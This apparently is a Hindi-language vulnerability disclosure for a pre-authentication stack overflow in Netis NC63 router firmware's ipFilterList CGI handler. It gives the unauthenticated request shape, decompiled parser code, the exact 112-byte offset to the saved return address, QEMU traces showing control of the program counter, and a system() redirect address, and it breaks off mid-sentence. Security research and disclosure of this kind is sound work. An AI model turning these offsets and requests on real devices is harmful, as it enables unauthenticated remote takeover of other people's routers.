
Netis NC63 ipFilterList हैंडलर में अनबाउंडेड sscanf स्कैनसेट के माध्यम से प्री-ऑथ स्टैक बफ़र ओवरफ़्लो के लिए मूल शोध और PoC
skk_set.cgi ipFilterList हैंडलर में sscanf %[^,] के माध्यम से अनधिप्रमाणित प्री-ऑथ स्टैक बफ़र ओवरफ़्लोशोधकर्ता: Özcan Ersan (@ozcanpng)
CVE-2026-76071NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/skk_set.cgiipFilterList=moddestHostsrcHostNetis NC63 फ़र्मवेयर V3.0.0.3327 में सामान्य MIB/मान पार्सर
ipFilterList के destHost फ़ील्ड को दो %[^,] स्कैनसेट के साथ पार्स करता है, लेकिन
बिना किसी अधिकतम फ़ील्ड चौड़ाई के। प्रत्येक रूपांतरण 16-बाइट स्थानीय स्टैक बफ़र में
लिखता है। इसलिए एक सीधा HTTP क्लाइंट एक लंबा कॉमा-रहित घटक सबमिट कर सकता है और
फ़ंक्शन के सहेजे गए नियंत्रण डेटा को अधिलेखित कर सकता है।
गतिशील रूप से परीक्षित दूसरे destHost घटक के लिए, सहेजा गया ra स्थानीय बफ़र से
ठीक 112 बाइट दूर है। मूल-हैश CGI के विरुद्ध QEMU ट्रेसिंग ने 0x0040f7f4 पर
आक्रमणकर्ता-चयनित तीसरी प्रविष्टि की पुष्टि की। एक अलग केवल-अवलोकन परीक्षण ने
रिटर्न को मूल system() PLT पथ 0x00423ab0 पर पुनर्निर्देशित किया, जबकि
आक्रमणकर्ता-नियंत्रित अनुरोध डेटा को सटीक MIPS a0 आर्ग्युमेंट के रूप में संरक्षित
रखा। एक गार्डेड /bin/sh ने मार्कर लॉग किया और कोई कमांड निष्पादित नहीं की।
सार्वजनिक PoC जानबूझकर केवल एक अति-लंबा B पैटर्न शामिल करता है। इसमें निजी
नियंत्रण-स्थानांतरण मान या कमांड-सीमा निर्माण शामिल नहीं है। poc/exploit-db/ में
अलग से अनुरक्षित RCE स्क्रिप्ट Exploit-DB सबमिशन के लिए तैयार है और इसका उद्देश्य
केवल प्रभावित प्रणालियों के अधिकृत परीक्षण तक सीमित है।
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47 squashfs-root/lib/libapmib.so

विक्रेता फ्रंटएंड srcHost और destHost को तीन अल्पविराम-पृथक
घटकों के रूप में बनाता है और उन्हें ipFilterList के साथ /cgi-bin/skk_set.cgi पर पोस्ट करता है:
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();
request({
url: "/cgi-bin/skk_set.cgi",
data: param
});

मान्य HTTP-आकार के CGI अनुरोध में कोई Cookie या Authorization हेडर नहीं था। /tmp/boa_auth अनुपस्थित था, फिर भी निष्पादन ipFilterList=mod और destHost पार्सर पथ में जारी रहा। मेमोरी-करप्शन दोष FUN_0040f7f4 में चौड़ाई-रहित स्कैनसेट है; व्यापक CGI प्राधिकरण विफलता वह स्थिति है जो इस विशेषाधिकार-प्राप्त हैंडलर को प्री-ऑथेंटिकेशन पर उजागर करती है।

Unauthenticated HTTP client
|
| POST /cgi-bin/skk_set.cgi
| ipFilterList=mod
| destHost=1,0.0.0.0,<long comma-free component>
v
FUN_004138a0
v
FUN_004134c8 (ipFilterList trigger row)
v
FUN_00410898(request, "ipFilterList")
v
FUN_0040f7f4(request, trigger, mib_table, pMib)
|
| get_request_param("destHost")
v
sscanf(value, "%d,%[^,],%[^,]", ...)
|
| second destination: char[16]
| no maximum scanset width
v
saved fp overwrite -> saved ra overwrite -> controlled PC
मूल libapmib.so मेटाडेटा srcHost और destHost दोनों को प्रकार
0x0c पर मैप करता है, जो इस पार्सर केस का चयन करता है। गतिशील सत्यापन
destHost के साथ किया गया था; srcHost को अलग गतिशील दावे के बजाय
स्थिर समान-पार्सर कवरेज के रूप में शामिल किया गया है।

सामान्यीकृत Ghidra-व्युत्पन्न स्यूडोकोड:
case 0x0c:
value = get_request_param(request, metadata_name);
sscanf(value,
"%d,%[^,],%[^,]",
&selector,
first_ip_component, /* char[16] */
second_ip_component); /* char[16] */
*(char *)(destination + field_offset) = selector;
inet_aton(first_ip_component, destination + field_offset + 1);
inet_aton(second_ip_component, destination + field_offset + 5);
break;

sscanf() स्वतः में भेद्यता नहीं है। दोष यह है कि %[^,] में कोई अधिकतम फ़ील्ड चौड़ाई नहीं है, इसलिए sscanf को इस बात की जानकारी नहीं है कि प्रत्येक गंतव्य केवल 16 बाइट्स का है। क्षमता-जागरूक प्रारूप %15[^,] जैसी चौड़ाई का उपयोग करेगा, सत्यापित करेगा कि ठीक तीन रूपांतरण सफल हुए, और फिर पार्स किए गए पते के मानों को मान्य करेगा। यह एक उदाहरण शमन है, विक्रेता पैच नहीं।
FUN_0040f7f4 0x0040f7f4 पर शुरू होता है और एक 0x1d0-बाइट फ़्रेम बनाता है:
0040f7f4 addiu sp,sp,-0x1d0
0040f7f8 sw ra,0x1cc(sp)
0040f7fc sw fp,0x1c8(sp)
0040f800 sw s0,0x1c4(sp)
0x0c प्रकार के गंतव्य fp+0x14c और fp+0x15c पर हैं। सहेजा गया ra fp+0x1cc पर है, जिससे दूसरे बफ़र से सटीक दूरी बनती है:
0x1cc - 0x15c = 0x70 = 112 bytes

पृथक PC प्रमाण ने 112 पैडिंग बाइट्स के बाद 0x0040f7f4 के तीन निम्न
लिटिल-एंडियन बाइट्स का उपयोग किया; sscanf टर्मिनेटर ने
चौथा शून्य बाइट प्रदान किया। QEMU ने दो सामान्य पार्सर प्रविष्टियों के बाद
अधिलेखित रिटर्न पते के कारण उत्पन्न तीसरी प्रविष्टि देखी:
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

एक अलग निजी सत्यापन ने सहेजे गए ra=0x00423ab0 का निर्माण किया, जो मूल
बाइनरी का system() PLT पथ है। एक नियंत्रित request-key प्रत्यय रिटर्न पर MIPS
a0 में बना रहा। डिस्पोज़ेबल रनटाइम ने /bin/sh को एक स्थिर लॉगर से बदल दिया: